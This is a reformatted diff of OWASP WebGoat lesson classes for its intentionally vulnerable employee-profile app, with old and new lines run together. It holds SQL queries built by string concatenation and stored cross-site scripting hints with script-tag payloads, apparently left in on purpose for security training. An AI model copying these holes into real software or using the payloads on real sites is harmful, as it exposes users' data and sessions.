s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{ {
try try
{ {
@ -329,23 +294,19 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void createEmployeeProfile_BACKUP(WebSession s, int userId, Employee employee) throws UnauthorizedException
public void createEmployeeProfile_BACKUP(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{ {
try try
{ {
@ -375,21 +336,18 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
/** /**
* Validates that the given parameter value matches the given regular expression pattern. * Validates that the given parameter value matches the given regular expression pattern.
* *
@ -398,12 +356,10 @@ public class UpdateProfile extends DefaultLessonAction
* @return * @return
* @throws ValidationException * @throws ValidationException
*/ */
protected String validate(final String parameter, final Pattern pattern) protected String validate(final String parameter, final Pattern pattern) throws ValidationException
throws ValidationException
{ {
Matcher matcher = pattern.matcher(parameter); Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches()) if (!matcher.matches()) throw new ValidationException();
throw new ValidationException();
return parameter; return parameter;
} }
@ -413,20 +369,16 @@ public class UpdateProfile extends DefaultLessonAction
int uid = -1; int uid = -1;
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement( Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
.executeQuery("select max(userid) as uid from employee");
results.first(); results.first();
uid = results.getInt("uid"); uid = results.getInt("uid");
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
} } catch (ClassNotFoundException e)
catch (ClassNotFoundException e)
{ {
// TODO Auto-generated catch block // TODO Auto-generated catch block
e.printStackTrace(); e.printStackTrace();

170
main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -13,72 +13,63 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException, ValidationException
UnauthenticatedException, UnauthorizedException,
ValidationException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
+ CrossSiteScripting.USER_ID);
int employeeId = -1; int employeeId = -1;
try try
{ {
// User selected employee // User selected employee
employeeId = s.getParser().getIntParameter( employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
CrossSiteScripting.EMPLOYEE_ID); } catch (ParameterNotFoundException e)
}
catch (ParameterNotFoundException e)
{ {
// May be an internally selected employee // May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "." employeeId = getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
+ CrossSiteScripting.EMPLOYEE_ID);
} }
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
updateLessonStatus(s, employee); updateLessonStatus(s, employee);
} }
@ -86,61 +77,46 @@ public class ViewProfile extends DefaultLessonAction
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return CrossSiteScripting.VIEWPROFILE_ACTION; return CrossSiteScripting.VIEWPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
+ subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
@ -149,58 +125,45 @@ public class ViewProfile extends DefaultLessonAction
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{ {
// Query the database to determine if this employee has access to this function // Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user // Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
+ subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
@ -209,22 +172,20 @@ public class ViewProfile extends DefaultLessonAction
return profile; return profile;
} }
private void updateLessonStatus(WebSession s, Employee employee) private void updateLessonStatus(WebSession s, Employee employee)
{ {
String stage = getStage(s); String stage = getStage(s);
int userId = -1; int userId = -1;
try { try
userId = getIntSessionAttribute(s, getLessonName() + "." {
+ CrossSiteScripting.USER_ID); userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
} catch (ParameterNotFoundException pnfe) { } catch (ParameterNotFoundException pnfe)
{
} }
if (CrossSiteScripting.STAGE1.equals(stage)) if (CrossSiteScripting.STAGE1.equals(stage))
{ {
String address1 = employee.getAddress1().toLowerCase(); String address1 = employee.getAddress1().toLowerCase();
if (userId != employee.getId() if (userId != employee.getId() && address1.indexOf("<script>") > -1 && address1.indexOf("alert") > -1
&& address1.indexOf("<script>") > -1
&& address1.indexOf("alert") > -1
&& address1.indexOf("</script>") > -1) && address1.indexOf("</script>") > -1)
{ {
setStageComplete(s, CrossSiteScripting.STAGE1); setStageComplete(s, CrossSiteScripting.STAGE1);
@ -233,8 +194,7 @@ public class ViewProfile extends DefaultLessonAction
else if (CrossSiteScripting.STAGE3.equals(stage)) else if (CrossSiteScripting.STAGE3.equals(stage))
{ {
String address2 = employee.getAddress1().toLowerCase(); String address2 = employee.getAddress1().toLowerCase();
if (address2.indexOf("<script>") > -1 if (address2.indexOf("<script>") > -1 && address2.indexOf("alert") > -1
&& address2.indexOf("alert") > -1
&& address2.indexOf("</script>") > -1) && address2.indexOf("</script>") > -1)
{ {
setStageComplete(s, CrossSiteScripting.STAGE3); setStageComplete(s, CrossSiteScripting.STAGE3);

95
main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.DBCrossSiteScripting; package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile; import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
@ -21,33 +21,32 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/** /**
/******************************************************************************* * /*******************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -69,16 +68,11 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(LISTSTAFF_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
getAction(LOGIN_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
@ -102,25 +96,20 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
// Stage 1 // Stage 1
hints.add("You can put HTML tags in form input fields."); hints.add("You can put HTML tags in form input fields.");
hints hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields."); .add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2 // Stage 2
hints hints.add("Many scripts rely on the use of special characters such as: &lt;");
.add("Many scripts rely on the use of special characters such as: &lt;");
hints hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints hints.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the instructions attribute of the ParameterInjection object
* *
@ -156,23 +145,21 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
} }
@Override @Override
public String[] getStages() { public String[] getStages()
if (getWebgoatContext().isCodingExercises()) {
return new String[] {STAGE1, STAGE2}; if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
return new String[] { STAGE1 }; return new String[] { STAGE1 };
} }
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) if (s.getLessonSession(this) == null) s.openLessonSession(this);
s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
@ -186,8 +173,7 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
if (action != null) if (action != null)
{ {
if (!action.requiresAuthentication() if (!action.requiresAuthentication() || action.isAuthenticated(s))
|| action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s)); // setCurrentAction(s, action.getNextPage(s));
@ -197,32 +183,27 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
{ {
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
System.out.println("Missing parameter"); System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ValidationException ve)
catch (ValidationException ve)
{ {
System.out.println("Validation failed"); System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (UnauthenticatedException ue)
catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
System.out.println("Authentication failure"); System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure"); System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} } catch (Exception e)
catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
System.out.println("handleRequest() error"); System.out.println("handleRequest() error");
@ -240,7 +221,6 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CrossSiteScripting object * Gets the title attribute of the CrossSiteScripting object
* *
@ -252,7 +232,8 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
} }
@Override @Override
protected boolean getDefaultHidden() { protected boolean getDefaultHidden()
{
String driver = getWebgoatContext().getDatabaseDriver(); String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = !(driver.contains("oracle") || driver.contains("jtds")); boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden; return hidden;

120
main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.DBCrossSiteScripting; package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.sql.CallableStatement; import java.sql.CallableStatement;
@ -5,9 +6,7 @@ import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -19,32 +18,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -53,23 +51,18 @@ public class UpdateProfile extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException, ValidationException
UnauthenticatedException, UnauthorizedException,
ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
+ RoleBasedAccessControl.USER_ID);
HttpServletRequest request = s.getRequest(); HttpServletRequest request = s.getRequest();
int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID)); int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID));
@ -80,24 +73,17 @@ public class UpdateProfile extends DefaultLessonAction
String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER); String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1); String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2); String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request int manager = Integer.parseInt(request.getParameter(DBCrossSiteScripting.MANAGER));
.getParameter(DBCrossSiteScripting.MANAGER));
String startDate = request.getParameter(DBCrossSiteScripting.START_DATE); String startDate = request.getParameter(DBCrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request int salary = Integer.parseInt(request.getParameter(DBCrossSiteScripting.SALARY));
.getParameter(DBCrossSiteScripting.SALARY));
String ccn = request.getParameter(DBCrossSiteScripting.CCN); String ccn = request.getParameter(DBCrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request int ccnLimit = Integer.parseInt(request.getParameter(DBCrossSiteScripting.CCN_LIMIT));
.getParameter(DBCrossSiteScripting.CCN_LIMIT)); String disciplinaryActionDate = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionDate = request String disciplinaryActionNotes = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE); String personalDescription = request.getParameter(DBCrossSiteScripting.DESCRIPTION);
String disciplinaryActionNotes = request
.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(DBCrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
title, phone, address1, address2, manager, startDate, salary, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
try try
@ -105,8 +91,7 @@ public class UpdateProfile extends DefaultLessonAction
if (subjectId > 0) if (subjectId > 0)
{ {
this.changeEmployeeProfile(s, userId, subjectId, employee); this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." setRequestAttribute(s, getLessonName() + "." + DBCrossSiteScripting.EMPLOYEE_ID, Integer
+ DBCrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId)); .toString(subjectId));
if (DBCrossSiteScripting.STAGE1.equals(getStage(s))) if (DBCrossSiteScripting.STAGE1.equals(getStage(s)))
{ {
@ -122,20 +107,18 @@ public class UpdateProfile extends DefaultLessonAction
} }
else else
this.createEmployeeProfile(s, userId, employee); this.createEmployeeProfile(s, userId, employee);
} } catch (SQLException e)
catch (SQLException e)
{ {
